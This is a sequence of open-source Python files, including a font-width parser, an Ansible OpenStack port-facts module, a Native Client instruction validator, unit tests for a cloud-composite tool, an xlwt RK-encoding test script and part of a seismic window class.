889, 0, 276, 0, 0, 0, 0, 611, 722, 889, 310, 0, 0, 0, 0, 0, 667, 0, 0, 0, 278, 0, 0, 278, 500,
722, 500, 0, 0, 750
],
'zapfdingbats':
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
278, 974, 961, 974, 980, 719, 789, 790, 791, 690, 960, 939, 549, 855, 911, 933, 911, 945, 974,
755, 846, 762, 761, 571, 677, 763, 760, 759, 754, 494, 552, 537, 577, 692, 786, 788, 788, 790,
793, 794, 816, 823, 789, 841, 823, 833, 816, 831, 923, 744, 723, 749, 790, 792, 695, 776, 768,
792, 759, 707, 708, 682, 701, 826, 815, 789, 789, 707, 687, 696, 689, 786, 787, 713, 791, 785,
791, 873, 761, 762, 762, 759, 759, 892, 892, 788, 784, 438, 138, 277, 415, 392, 392, 668, 668, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 732, 544, 544, 910, 667, 760, 760, 776, 595, 694, 626, 788, 788, 788, 788, 788, 788, 788, 788,
788, 788, 788, 788, 788, 788, 788, 788, 788, 788, 788, 788, 788, 788, 788, 788, 788, 788, 788,
788, 788, 788, 788, 788, 788, 788, 788, 788, 788, 788, 788, 788, 894, 838, 1016, 458, 748, 924,
748, 918, 927, 928, 928, 834, 873, 828, 924, 924, 917, 930, 931, 463, 883, 836, 836, 867, 867,
696, 696, 874, 0, 874, 760, 946, 771, 865, 771, 888, 967, 888, 831, 873, 927, 970, 234]
}
ascent_descent = {'Courier': (629, -157),
'Courier-Bold': (626, -142),
'Courier-BoldOblique': (626, -142),
'Courier-Oblique': (629, -157),
'Helvetica': (718, -207),
'Helvetica-Bold': (718, -207),
'Helvetica-BoldOblique': (718, -207),
'Helvetica-Oblique': (718, -207),
'Symbol': (0, 0),
'Times-Bold': (676, -205),
'Times-BoldItalic': (699, -205),
'Times-Italic': (683, -205),
'Times-Roman': (683, -217),
'ZapfDingbats': (0, 0)}
def parseAFMfile(filename):
"""Returns an array holding the widths of all characters in the font.
Ultra-crude parser"""
alllines = open(filename, 'r').readlines()
# get stuff between StartCharMetrics and EndCharMetrics
metriclines = []
between = 0
for line in alllines:
if string.find(string.lower(line), 'endcharmetrics') > -1:
between = 0
break
if between:
metriclines.append(line)
if string.find(string.lower(line), 'startcharmetrics') > -1:
between = 1
# break up - very shaky assumption about array size
widths = [0] * 255
for line in metriclines:
chunks = string.split(line, ';')
(c, cid) = string.split(chunks[0])
(wx, width) = string.split(chunks[1])
#(n, name) = string.split(chunks[2])
#(b, x1, y1, x2, y2) = string.split(chunks[3])
widths[string.atoi(cid)] = string.atoi(width)
# by default, any empties should get the width of a space
for i in range(len(widths)):
if widths[i] == 0:
widths[i] == widths[32]
return widths
class FontCache:
"""Loads and caches font width information on demand. Font names
converted to lower case for indexing. Public interface is stringwidth"""
def __init__(self):
global widths
self.__widtharrays = widths
def loadfont(self, fontname):
filename = AFMDIR + os.sep + fontname + '.afm'
print('cache loading', filename)
assert os.path.exists(filename)
widths = parseAFMfile(filename)
self.__widtharrays[fontname] = widths
def getfont(self, fontname):
try:
return self.__widtharrays[fontname]
except Exception:
try:
self.loadfont(fontname)
return self.__widtharrays[fontname]
except Exception:
# font not found, use Courier
print('Font', fontname, 'not found - using Courier for widths')
return self.getfont('courier')
def stringwidth(self, text, font):
widths = self.getfont(string.lower(font))
w = 0
for char in text:
w = w + widths[ord(char)]
return w
def status(self):
#returns loaded fonts
return self.__widtharrays.keys()
TheFontCache = FontCache()
#expose the singleton as a single function
stringwidth = TheFontCache.stringwidth
| bsd-3-clause |
ogenstad/ansible | lib/ansible/modules/cloud/openstack/os_port_facts.py | 15 | 7181 | #!/usr/bin/python
# Copyright (c) 2016 IBM
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)
from __future__ import absolute_import, division, print_function
__metaclass__ = type
ANSIBLE_METADATA = {'metadata_version': '1.1',
'status': ['preview'],
'supported_by': 'community'}
DOCUMENTATION = '''
module: os_port_facts
short_description: Retrieve facts about ports within OpenStack.
version_added: "2.1"
author: "David Shrewsbury (@Shrews)"
description:
- Retrieve facts about ports from OpenStack.
notes:
- Facts are placed in the C(openstack_ports) variable.
requirements:
- "python >= 2.6"
- "shade"
options:
port:
description:
- Unique name or ID of a port.
filters:
description:
- A dictionary of meta data to use for further filtering. Elements
of this dictionary will be matched against the returned port
dictionaries. Matching is currently limited to strings within
the port dictionary, or strings within nested dictionaries.
availability_zone:
description:
- Ignored. Present for backwards compatibility
extends_documentation_fragment: openstack
'''
EXAMPLES = '''
# Gather facts about all ports
- os_port_facts:
cloud: mycloud
# Gather facts about a single port
- os_port_facts:
cloud: mycloud
port: 6140317d-e676-31e1-8a4a-b1913814a471
# Gather facts about all ports that have device_id set to a specific value
# and with a status of ACTIVE.
- os_port_facts:
cloud: mycloud
filters:
device_id: 1038a010-3a37-4a9d-82ea-652f1da36597
status: ACTIVE
'''
RETURN = '''
openstack_ports:
description: List of port dictionaries. A subset of the dictionary keys
listed below may be returned, depending on your cloud provider.
returned: always, but can be null
type: complex
contains:
admin_state_up:
description: The administrative state of the router, which is
up (true) or down (false).
returned: success
type: boolean
sample: true
allowed_address_pairs:
description: A set of zero or more allowed address pairs. An
address pair consists of an IP address and MAC address.
returned: success
type: list
sample: []
"binding:host_id":
description: The UUID of the host where the port is allocated.
returned: success
type: string
sample: "b4bd682d-234a-4091-aa5b-4b025a6a7759"
"binding:profile":
description: A dictionary the enables the application running on
the host to pass and receive VIF port-specific
information to the plug-in.
returned: success
type: dict
sample: {}
"binding:vif_details":
description: A dictionary that enables the application to pass
information about functions that the Networking API
provides.
returned: success
type: dict
sample: {"port_filter": true}
"binding:vif_type":
description: The VIF type for the port.
returned: success
type: dict
sample: "ovs"
"binding:vnic_type":
description: The virtual network interface card (vNIC) type that is
bound to the neutron port.
returned: success
type: string
sample: "normal"
device_id:
description: The UUID of the device that uses this port.
returned: success
type: string
sample: "b4bd682d-234a-4091-aa5b-4b025a6a7759"
device_owner:
description: The UUID of the entity that uses this port.
returned: success
type: string
sample: "network:router_interface"
dns_assignment:
description: DNS assignment information.
returned: success
type: list
dns_name:
description: DNS name
returned: success
type: string
sample: ""
extra_dhcp_opts:
description: A set of zero or more extra DHCP option pairs.
An option pair consists of an option value and name.
returned: success
type: list
sample: []
fixed_ips:
description: The IP addresses for the port. Includes the IP address
and UUID of the subnet.
returned: success
type: list
id:
description: The UUID of the port.
returned: success
type: string
sample: "3ec25c97-7052-4ab8-a8ba-92faf84148de"
ip_address:
description: The IP address.
returned: success
type: string
sample: "127.0.0.1"
mac_address:
description: The MAC address.
returned: success
type: string
sample: "00:00:5E:00:53:42"
name:
description: The port name.
returned: success
type: string
sample: "port_name"
network_id:
description: The UUID of the attached network.
returned: success
type: string
sample: "dd1ede4f-3952-4131-aab6-3b8902268c7d"
port_security_enabled:
description: The port security status. The status is enabled (true) or disabled (false).
returned: success
type: boolean
sample: false
security_groups:
description: The UUIDs of any attached security groups.
returned: success
type: list
status:
description: The port status.
returned: success
type: string
sample: "ACTIVE"
tenant_id:
description: The UUID of the tenant who owns the network.
returned: success
type: string
sample: "51fce036d7984ba6af4f6c849f65ef00"
'''
from ansible.module_utils.basic import AnsibleModule
from ansible.module_utils.openstack import openstack_full_argument_spec, openstack_module_kwargs, openstack_cloud_from_module
def main():
argument_spec = openstack_full_argument_spec(
port=dict(required=False),
filters=dict(type='dict', required=False),
)
module_kwargs = openstack_module_kwargs()
module = AnsibleModule(argument_spec, **module_kwargs)
port = module.params.get('port')
filters = module.params.get('filters')
shade, cloud = openstack_cloud_from_module(module)
try:
ports = cloud.search_ports(port, filters)
module.exit_json(changed=False, ansible_facts=dict(
openstack_ports=ports))
except shade.OpenStackCloudException as e:
module.fail_json(msg=str(e))
if __name__ == '__main__':
main()
| gpl-3.0 |
wilsonianb/nacl_contracts | src/trusted/validator_ragel/spec_val.py | 13 | 4965 | # Copyright (c) 2013 The Native Client Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import spec
class Validator(object):
BITNESS = None
MAX_SUPERINSTRUCTION_LENGTH = None
def ValidateSuperinstruction(self, superinstruction):
raise NotImplementedError()
def FitsWithinBundle(self, insns):
offset = insns[0].address
last_byte_offset = offset + sum(len(insn.bytes) for insn in insns) - 1
return offset // spec.BUNDLE_SIZE == last_byte_offset // spec.BUNDLE_SIZE
def CheckConditions(
self, insns, precondition, postcondition):
raise NotImplementedError()
def CheckFinalCondition(self, end_offset):
raise NotImplementedError()
def Validate(self, insns):
self.messages = []
self.valid_jump_targets = set()
self.jumps = {}
self.condition = spec.Condition()
i = 0
while i < len(insns):
offset = insns[i].address
self.valid_jump_targets.add(offset)
try:
# Greedy: try to match longest superinstructions first.
for n in range(self.MAX_SUPERINSTRUCTION_LENGTH, 1, -1):
if i + n > len(insns):
continue
try:
self.ValidateSuperinstruction(insns[i:i+n])
if not self.FitsWithinBundle(insns[i:i+n]):
self.messages.append(
(offset, 'superinstruction crosses bundle boundary'))
self.CheckConditions(
insns[i:i+n],
precondition=spec.Condition(),
postcondition=spec.Condition())
i += n
break
except spec.DoNotMatchError:
continue
else:
try:
jump_destination, precondition, postcondition = (
spec.ValidateDirectJumpOrRegularInstruction(
insns[i],
self.BITNESS))
if not self.FitsWithinBundle(insns[i:i+1]):
self.messages.append(
(offset, 'instruction crosses bundle boundary'))
self.CheckConditions(
insns[i:i+1], precondition, postcondition)
if jump_destination is not None:
self.jumps[insns[i].address] = jump_destination
i += 1
except spec.DoNotMatchError:
self.messages.append(
(offset, 'unrecognized instruction %r' % insns[i].disasm))
i += 1
except spec.SandboxingError as e:
self.messages.append((offset, str(e)))
i += 1
self.condition = spec.Condition()
assert i == len(insns)
end_offset = insns[-1].address + len(insns[-1].bytes)
self.valid_jump_targets.add(end_offset)
self.CheckFinalCondition(end_offset)
for source, destination in sorted(self.jumps.items()):
if (destination % spec.BUNDLE_SIZE != 0 and
destination not in self.valid_jump_targets):
self.messages.append(
(source, 'jump into a middle of instruction (0x%x)' % destination))
return self.messages
class Validator32(Validator):
BITNESS = 32
MAX_SUPERINSTRUCTION_LENGTH = 2
def ValidateSuperinstruction(self, superinstruction):
spec.ValidateSuperinstruction32(superinstruction)
def CheckConditions(
self, insns, precondition, postcondition):
assert precondition == postcondition == spec.Condition()
def CheckFinalCondition(self, end_offset):
assert self.condition == spec.Condition()
class Validator64(Validator):
BITNESS = 64
MAX_SUPERINSTRUCTION_LENGTH = 5
def ValidateSuperinstruction(self, superinstruction):
spec.ValidateSuperinstruction64(superinstruction)
def CheckConditions(
self, insns, precondition, postcondition):
offset = insns[0].address
if not self.condition.Implies(precondition):
self.messages.append((offset, self.condition.WhyNotImplies(precondition)))
if not spec.Condition().Implies(precondition):
self.valid_jump_targets.remove(offset)
self.condition = postcondition
end_offset = offset + sum(len(insn.bytes) for insn in insns)
if end_offset % spec.BUNDLE_SIZE == 0:
# At the end of bundle we reset condition to default value
# (because anybody can jump to this point), so we have to check
# that it's safe to do so.
if not self.condition.Implies(spec.Condition()):
self.messages.append((
end_offset,
'%s at the end of bundle'
% self.condition.WhyNotImplies(spec.Condition())))
self.condition = spec.Condition()
def CheckFinalCondition(self, end_offset):
# If chunk ends mid-bundle, we have to check final condition separately.
if end_offset % spec.BUNDLE_SIZE != 0:
if not self.condition.Implies(spec.Condition()):
self.messages.append((
end_offset,
'%s at the end of chunk'
% self.condition.WhyNotImplies(spec.Condition())))
| bsd-3-clause |
adybbroe/mesan_compositer | tests/test_compositer.py | 1 | 11472 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2014 - 2019 Adam.Dybbroe
# Author(s):
# Adam.Dybbroe <a000680@c14526.ad.smhi.se>
# This program is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, either version 3 of the License, or
# (at your option) any later version.
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
# GNU General Public License for more details.
# You should have received a copy of the GNU General Public License
# along with this program. If not, see <http://www.gnu.org/licenses/>.
"""Unit testing the composite generation."""
import unittest
import numpy as np
from mesan_compositer.composite_tools import get_weight_cloudtype
from mesan_compositer.composite_tools import get_analysis_time
from mesan_compositer.composite_tools import PpsMetaData
from mesan_compositer.composite_tools import MsgMetaData
from datetime import datetime, timedelta
CTYPE_MSG = np.array([[6, 6, 6, 6, 6, 6, 6, 6, 6, 6],
[6, 6, 6, 6, 6, 6, 6, 19, 6, 6],
[6, 6, 6, 6, 6, 6, 19, 19, 19, 6],
[6, 6, 6, 6, 1, 19, 19, 19, 19, 6],
[6, 6, 1, 1, 1, 19, 19, 19, 19, 6],
[1, 1, 1, 1, 1, 19, 19, 6, 6, 6],
[1, 1, 1, 1, 1, 6, 6, 6, 6, 6],
[1, 1, 1, 6, 6, 6, 6, 6, 6, 6],
[1, 6, 6, 6, 6, 6, 6, 6, 6, 6],
[6, 6, 6, 6, 6, 6, 6, 6, 6, 6]], 'uint8')
CTYPE_MSG_FLAG = np.array([[128, 128, 128, 128, 128, 128, 128, 128, 128, 128],
[128, 128, 128, 128, 128, 128, 128, 640, 128, 128],
[128, 128, 128, 128, 128, 128, 640, 640, 640, 128],
[128, 128, 128, 128, 640, 640, 640, 640, 640, 128],
[128, 128, 640, 640, 640, 640, 640, 640, 640, 128],
[640, 640, 640, 640, 640, 640, 640, 128, 128, 128],
[640, 640, 640, 640, 640, 128, 128, 128, 128, 128],
[640, 640, 640, 128, 128, 128, 128, 128, 128, 128],
[640, 128, 128, 128, 128, 128, 128, 128, 128, 128],
[128, 128, 128, 128, 128, 128, 128, 128, 128, 128]], 'int16')
LAT_MSG = np.ones((10, 10), 'float') * 51.5
LAT_MSG2 = np.ones((10, 10), 'float') * 60.0
TDIFF_MSG = timedelta(seconds=0)
IS_MSG_MSG = np.array([[True, True, True, True, True,
True, True, True, True, True],
[True, True, True, True, True,
True, True, True, True, True],
[True, True, True, True, True,
True, True, True, True, True],
[True, True, True, True, True,
True, True, True, True, True],
[True, True, True, True, True,
True, True, True, True, True],
[True, True, True, True, True,
True, True, True, True, True],
[True, True, True, True, True,
True, True, True, True, True],
[True, True, True, True, True,
True, True, True, True, True],
[True, True, True, True, True,
True, True, True, True, True],
[True, True, True, True, True, True, True, True, True, True]])
WEIGHT_MSG = np.array([[1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0],
[1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 0.475, 1.0, 1.0],
[1.0, 1.0, 1.0, 1.0, 1.0, 1.0,
0.475, 0.475, 0.475, 1.0],
[1.0, 1.0, 1.0, 1.0, 0.475, 0.475,
0.475, 0.475, 0.475, 1.0],
[1.0, 1.0, 0.475, 0.475, 0.475,
0.475, 0.475, 0.475, 0.475, 1.0],
[0.475, 0.475, 0.475, 0.475,
0.475, 0.475, 0.475, 1.0, 1.0, 1.0],
[0.475, 0.475, 0.475,
0.475, 0.475, 1.0, 1.0, 1.0, 1.0, 1.0],
[0.475, 0.475,
0.475, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0],
[0.475, 1.0, 1.0, 1.0,
1.0, 1.0, 1.0, 1.0, 1.0, 1.0],
[1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0, 1.0]], 'float')
WEIGHT_MSG2 = np.array([[0.65217391, 0.65217391, 0.65217391, 0.65217391, 0.65217391,
0.65217391, 0.65217391, 0.65217391, 0.65217391, 0.65217391],
[0.65217391, 0.65217391, 0.65217391, 0.65217391, 0.65217391,
0.65217391, 0.65217391, 0.30978261, 0.65217391, 0.65217391],
[0.65217391, 0.65217391, 0.65217391, 0.65217391, 0.65217391,
0.65217391, 0.30978261, 0.30978261, 0.30978261, 0.65217391],
[0.65217391, 0.65217391, 0.65217391, 0.65217391, 0.30978261,
0.30978261, 0.30978261, 0.30978261, 0.30978261, 0.65217391],
[0.65217391, 0.65217391, 0.30978261, 0.30978261, 0.30978261,
0.30978261, 0.30978261, 0.30978261, 0.30978261, 0.65217391],
[0.30978261, 0.30978261, 0.30978261, 0.30978261, 0.30978261,
0.30978261, 0.30978261, 0.65217391, 0.65217391, 0.65217391],
[0.30978261, 0.30978261, 0.30978261, 0.30978261, 0.30978261,
0.65217391, 0.65217391, 0.65217391, 0.65217391, 0.65217391],
[0.30978261, 0.30978261, 0.30978261, 0.65217391, 0.65217391,
0.65217391, 0.65217391, 0.65217391, 0.65217391, 0.65217391],
[0.30978261, 0.65217391, 0.65217391, 0.65217391, 0.65217391,
0.65217391, 0.65217391, 0.65217391, 0.65217391, 0.65217391],
[0.65217391, 0.65217391, 0.65217391, 0.65217391, 0.65217391,
0.65217391, 0.65217391, 0.65217391, 0.65217391, 0.65217391]], 'float')
class TestCloudTypeWeights(unittest.TestCase):
"""Unit testing the functions to convert msg flags to pps (old) flags."""
def setUp(self):
"""Set up."""
return
def test_cloudtype_weights(self):
"""Test the derivation of weights for a given cloudtype, flags, obs times etc."""
retv = get_weight_cloudtype(
CTYPE_MSG, CTYPE_MSG_FLAG, LAT_MSG, TDIFF_MSG, IS_MSG_MSG)
self.assertTrue(np.allclose(retv, WEIGHT_MSG))
retv = get_weight_cloudtype(
CTYPE_MSG, CTYPE_MSG_FLAG, LAT_MSG2, TDIFF_MSG, IS_MSG_MSG)
self.assertTrue(np.allclose(retv, WEIGHT_MSG2))
def tearDown(self):
"""Clean up."""
return
class TestTimeTools(unittest.TestCase):
"""Test (time) arithmetics for observation time and listing/sorting of PPS/MSG scenes."""
def setUp(self):
"""Set it up."""
return
def test_pps_metadata(self):
"""Test operations on the PPS meta data class."""
filename = '/tmp/my_pps_testfile.nc'
geofilename = '/tmp/my_pps_geo_testfile.nc'
platform_name = 'NOAA-20'
orbit = "00102"
timeslot1 = datetime(2019, 11, 5, 12, 0)
variant = None
pm1 = PpsMetaData(filename, geofilename, platform_name, orbit, timeslot1, variant)
timeslot2 = datetime(2019, 11, 5, 13, 30)
orbit = "00103"
pm2 = PpsMetaData(filename, geofilename, platform_name, orbit, timeslot2, variant)
timeslot3 = datetime(2019, 11, 5, 10, 30)
orbit = "00101"
pm3 = PpsMetaData(filename, geofilename, platform_name, orbit, timeslot3, variant)
timeslot4 = datetime(2019, 11, 5, 12, 0)
orbit = "00999"
platform_name = 'EOS-Aqua'
pm4 = PpsMetaData(filename, geofilename, platform_name, orbit, timeslot4, variant)
pmlist = [pm1, pm2, pm3, pm4]
pmlist.sort()
tslots = [p.timeslot for p in pmlist]
norbits = [int(p.orbit) for p in pmlist]
self.assertListEqual([101, 102, 999, 103], norbits)
self.assertTrue(tslots[0] <= tslots[1])
self.assertTrue(tslots[1] <= tslots[2])
self.assertTrue(tslots[2] <= tslots[3])
def test_msg_metadata(self):
"""Test operations on the MSG meta data class."""
filename = '/tmp/my_msg_testfile.nc'
platform_name = 'Meteosat-11'
timeslot1 = datetime(2019, 11, 5, 18, 0)
areaid = 'area1'
mm1 = MsgMetaData(filename, platform_name, areaid, timeslot1)
timeslot2 = datetime(2019, 11, 4, 18, 0)
areaid = 'area2'
mm2 = MsgMetaData(filename, platform_name, areaid, timeslot2)
timeslot3 = datetime(2019, 11, 5, 18, 15)
areaid = 'area3'
mm3 = MsgMetaData(filename, platform_name, areaid, timeslot3)
timeslot4 = datetime(2019, 11, 3, 12, 0)
areaid = 'area4'
mm4 = MsgMetaData(filename, platform_name, areaid, timeslot4)
timeslot5 = datetime(2019, 11, 5, 18, 15)
areaid = 'area5'
platform_name = 'Meteosat-9'
mm5 = MsgMetaData(filename, platform_name, areaid, timeslot5)
mmlist = [mm1, mm2, mm3, mm4, mm5]
mmlist.sort()
tslots = [m.timeslot for m in mmlist]
areas = [m.areaid for m in mmlist]
self.assertListEqual(['area4', 'area2', 'area1', 'area3', 'area5'], areas)
self.assertTrue(tslots[0] <= tslots[1])
self.assertTrue(tslots[1] <= tslots[2])
self.assertTrue(tslots[2] <= tslots[3])
self.assertTrue(tslots[3] <= tslots[4])
def test_get_analysis_time(self):
"""Test the determination of the analysis time from two times defining a time interval."""
dtime_eps = timedelta(seconds=1)
t1_ = datetime(2015, 6, 23, 12, 22)
t2_ = datetime(2015, 6, 23, 12, 35)
res = get_analysis_time(t1_, t2_)
self.assertTrue(res - datetime(2015, 6, 23, 12, 0) < dtime_eps)
t1_ = datetime(2015, 6, 23, 12, 42)
t2_ = datetime(2015, 6, 23, 12, 55)
res = get_analysis_time(t1_, t2_)
self.assertTrue(res - datetime(2015, 6, 23, 13, 0) < dtime_eps)
t1_ = datetime(2015, 6, 23, 12, 48)
t2_ = datetime(2015, 6, 23, 13, 1)
res = get_analysis_time(t1_, t2_)
self.assertTrue(res - datetime(2015, 6, 23, 13, 0) < dtime_eps)
t1_ = datetime(2015, 6, 23, 13, 10)
t2_ = datetime(2015, 6, 23, 13, 25)
res = get_analysis_time(t1_, t2_)
self.assertTrue(res - datetime(2015, 6, 23, 13, 0) < dtime_eps)
def tearDown(self):
"""Clean up."""
return
def suite():
"""Run all the tests for the compositer tools."""
loader = unittest.TestLoader()
mysuite = unittest.TestSuite()
mysuite.addTest(loader.loadTestsFromTestCase(TestCloudTypeWeights))
mysuite.addTest(loader.loadTestsFromTestCase(TestTimeTools))
return mysuite
| gpl-3.0 |
alextreme/Django-Bingo | contrib/xlwt/tests/RKbug.py | 3 | 4662 | from xlwt import *
import sys
from struct import pack, unpack
def cellname(rowx, colx):
# quick kludge, works up to 26 cols :-)
return chr(ord('A') + colx) + str(rowx + 1)
def RK_pack_check(num, anint, case=None):
if not(-0x7fffffff - 1 <= anint <= 0x7fffffff):
print "RK_pack_check: not a signed 32-bit int: %r (%r); case: %r" \
% (anint, hex(anint), case)
pstr = pack("<i", anint)
actual = unpack_RK(pstr)
if actual != num:
print "RK_pack_check: round trip failure: %r (%r); case %r; %r in, %r out" \
% (anint, hex(anint), case, num, actual)
def RK_encode(num, blah=0):
"""\
Return a 4-byte RK encoding of the input float value
if possible, else return None.
"""
rk_encoded = 0
packed = pack('<d', num)
if blah: print
if blah: print repr(num)
w01, w23 = unpack('<2i', packed)
if not w01 and not(w23 & 3):
# 34 lsb are 0
if blah: print "float RK", w23, hex(w23)
return RK_pack_check(num, w23, 0)
# return RKRecord(
# self.__parent.get_index(), self.__idx, self.__xf_idx, w23).get()
if -0x20000000 <= num < 0x20000000:
inum = int(num)
if inum == num:
if blah: print "30-bit integer RK", inum, hex(inum)
rk_encoded = 2 | (inum << 2)
if blah: print "rk", rk_encoded, hex(rk_encoded)
return RK_pack_check(num, rk_encoded, 2)
# return RKRecord(
# self.__parent.get_index(), self.__idx, self.__xf_idx, rk_encoded).get()
temp = num * 100
packed100 = pack('<d', temp)
w01, w23 = unpack('<2i', packed100)
if not w01 and not(w23 & 3):
# 34 lsb are 0
if blah: print "float RK*100", w23, hex(w23)
return RK_pack_check(num, w23 | 1, 1)
# return RKRecord(
# self.__parent.get_index(), self.__idx, self.__xf_idx, w23 | 1).get()
if -0x20000000 <= temp < 0x20000000:
itemp = int(round(temp, 0))
if blah: print (itemp == temp), (itemp / 100.0 == num)
if itemp / 100.0 == num:
if blah: print "30-bit integer RK*100", itemp, hex(itemp)
rk_encoded = 3 | (itemp << 2)
return RK_pack_check(num, rk_encoded, 3)
# return RKRecord(
# self.__parent.get_index(), self.__idx, self.__xf_idx, rk_encoded).get()
if blah: print "Number"
# return NumberRecord(
# self.__parent.get_index(), self.__idx, self.__xf_idx, num).get()
def unpack_RK(rk_str):
flags = ord(rk_str[0])
if flags & 2:
# There's a SIGNED 30-bit integer in there!
i, = unpack('<i', rk_str)
i >>= 2 # div by 4 to drop the 2 flag bits
if flags & 1:
return i / 100.0
return float(i)
else:
# It's the most significant 30 bits of an IEEE 754 64-bit FP number
d, = unpack('<d', '\0\0\0\0' + chr(flags & 252) + rk_str[1:4])
if flags & 1:
return d / 100.0
return d
testvals = (
130.63999999999999,
130.64,
-18.649999999999999,
-18.65,
137.19999999999999,
137.20,
-16.079999999999998,
-16.08,
0,
1,
2,
3,
0x1fffffff,
0x20000000,
0x20000001,
1000999999,
0x3fffffff,
0x40000000,
0x40000001,
0x7fffffff,
0x80000000,
0x80000001,
0xffffffff,
0x100000000,
0x100000001,
)
XLS = 1
BLAH = 1
def main(do_neg):
if XLS:
w = Workbook()
ws = w.add_sheet('Test RK encoding')
for colx, heading in enumerate(('actual', 'expected', 'OK') * 2):
ws.write(0, colx, heading)
rx = 0
for neg in range(do_neg + 1):
for seed in testvals:
rx += 1
for i in range(2):
bv = [seed, seed /100.00][i] * (1 - 2 * neg)
bv = float(bv) # pyExcelerator cracks it with longs
cx = i * 3
if XLS:
ws.write(rx, cx, bv)
ws.write(rx, cx + 1, repr(bv))
ws.write(rx, cx + 2, Formula(
'%s=VALUE(%s)' % (cellname(rx, cx), cellname(rx, cx + 1))
))
else:
RK_encode(bv, blah=BLAH)
if XLS:
w.save('RKbug%d.xls' % do_neg)
if __name__ == "__main__":
# arg == 0: only positive test values used
# arg == 1: both positive & negative test values used
main(int(sys.argv[1]))
| bsd-3-clause |
KNMI/VERCE | verce-hpc-pe/src/pyflex/window.py | 4 | 8376 | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
Simple class defining the windows.
:copyright:
Lion Krischer (krischer@geophysik.uni-muenchen.de), 2014
:license:
GNU General Public License, Version 3
(http://www.gnu.org/copyleft/gpl.html)
"""
from __future__ import (absolute_import, division, print_function,
unicode_literals)
from future.builtins import * # NOQA
import numpy as np
import obspy
class Window(object):
"""
Class representing window candidates and final windows.
"""
def __init__(self, left, right, center, time_of_first_sample, dt,
min_period, channel_id, weight_function=None):
"""
The optional ``weight_function`` parameter can be used to customize
the weight of the window. Its single parameter is an instance of the
window. The following example will create a window function that
does exactly the same as the default weighting function.
>>> def weight_function(win):
... return ((win.right - win.left) * win.dt / win.min_period *
... win.max_cc_value)
:param left: The array index of the left bound of the window.
:type left: int
:param right: The array index of the right bound of the window.
:type right: int
:param center: The array index of the central maximum of the window.
:type center: int
:param time_of_first_sample: The absolute time of the first sample
in the array. Needed for the absolute time calculations.
:type time_of_first_sample:
:class:`~obspy.core.utcdatetime.UTCDateTime`
:param dt: The sample interval in seconds.
:type dt: float
:param min_period: The minimum period in seconds.
:type min_period: float
:param channel_id: The id of the channel of interest. Needed for a
useful serialization.
:type channel_id: str
:param weight_function: Function determining the window weight. The
only argument of the function is a window instance.
:type weight_function: function
"""
self.left = left
self.right = right
self.center = center
self.time_of_first_sample = time_of_first_sample
self.max_cc_value = None
self.cc_shift = None
self.dlnA = None
self.dt = float(dt)
self.min_period = float(min_period)
self.channel_id = channel_id
self.phase_arrivals = []
self.weight_function = weight_function
def __eq__(self, other):
return self.__dict__ == other.__dict__
def __ne__(self, other):
return not self == other
@staticmethod
def _load_from_json_content(win):
"""
Load a dictionary coming from a JSON file and parse it to Window
object.
:param win: A dictionary containing window information from the JSON
file.
:type win: dict
:returns: A new window object.
:rtype: :class:`~pyflex.window.Window`
"""
necessary_keys = set([
"left_index", "right_index", "center_index", "channel_id",
"time_of_first_sample", "max_cc_value", "cc_shift_in_samples",
"cc_shift_in_seconds", "dlnA", "dt", "min_period",
"phase_arrivals", "absolute_starttime", "absolute_endtime",
"relative_starttime", "relative_endtime", "window_weight"])
missing_keys = necessary_keys.difference(set(win.keys()))
if missing_keys:
raise ValueError(
"Window JSON file misses the following keys:\n%s" %
", ".join(missing_keys))
new_win = Window(
left=win["left_index"], right=win["right_index"],
center=win["center_index"],
time_of_first_sample=obspy.UTCDateTime(
win["time_of_first_sample"]),
dt=win["dt"], min_period=win["min_period"],
channel_id=win["channel_id"])
new_win.max_cc_value = win["max_cc_value"]
new_win.cc_shift = win["cc_shift_in_samples"]
new_win.dlnA = win["dlnA"]
new_win.phase_arrivals = win["phase_arrivals"]
return new_win
def _get_json_content(self):
"""
Returns the window in a representation suitable for inclusion as a
JSON file.
"""
info = {
"left_index": self.left,
"right_index": self.right,
"center_index": self.center,
"channel_id": self.channel_id,
"time_of_first_sample": self.time_of_first_sample,
"max_cc_value": self.max_cc_value,
"cc_shift_in_samples": self.cc_shift,
"cc_shift_in_seconds": self.cc_shift_in_seconds,
"dlnA": self.dlnA,
"dt": self.dt,
"min_period": self.min_period,
"phase_arrivals": self.phase_arrivals,
"absolute_starttime": self.absolute_starttime,
"absolute_endtime": self.absolute_endtime,
"relative_starttime": self.relative_starttime,
"relative_endtime": self.relative_endtime,
"window_weight": self.weight}
return info
def _get_internal_indices(self, indices):
"""
From a list of indices, return the ones inside this window excluding
the borders..
"""
indices = np.array(indices)
return indices[(indices > self.left) & (indices < self.right)]
@property
def cc_shift_in_seconds(self):
return self.cc_shift * self.dt if self.cc_shift is not None else None
@property
def absolute_starttime(self):
"""
Absolute time of the left border of this window.
"""
return self.time_of_first_sample + self.dt * self.left
@property
def relative_starttime(self):
"""
Relative time of the left border in seconds to the first sample in
the array.
"""
return self.dt * self.left
@property
def absolute_endtime(self):
"""
Absolute time of the right border of this window.
"""
return self.time_of_first_sample + self.dt * self.right
@property
def relative_endtime(self):
"""
Relative time of the right border in seconds to the first sample in
the array.
"""
return self.dt * self.right
@property
def left(self):
return self._left
@left.setter
def left(self, value):
self._left = int(value)
@property
def right(self):
return self._right
@right.setter
def right(self, value):
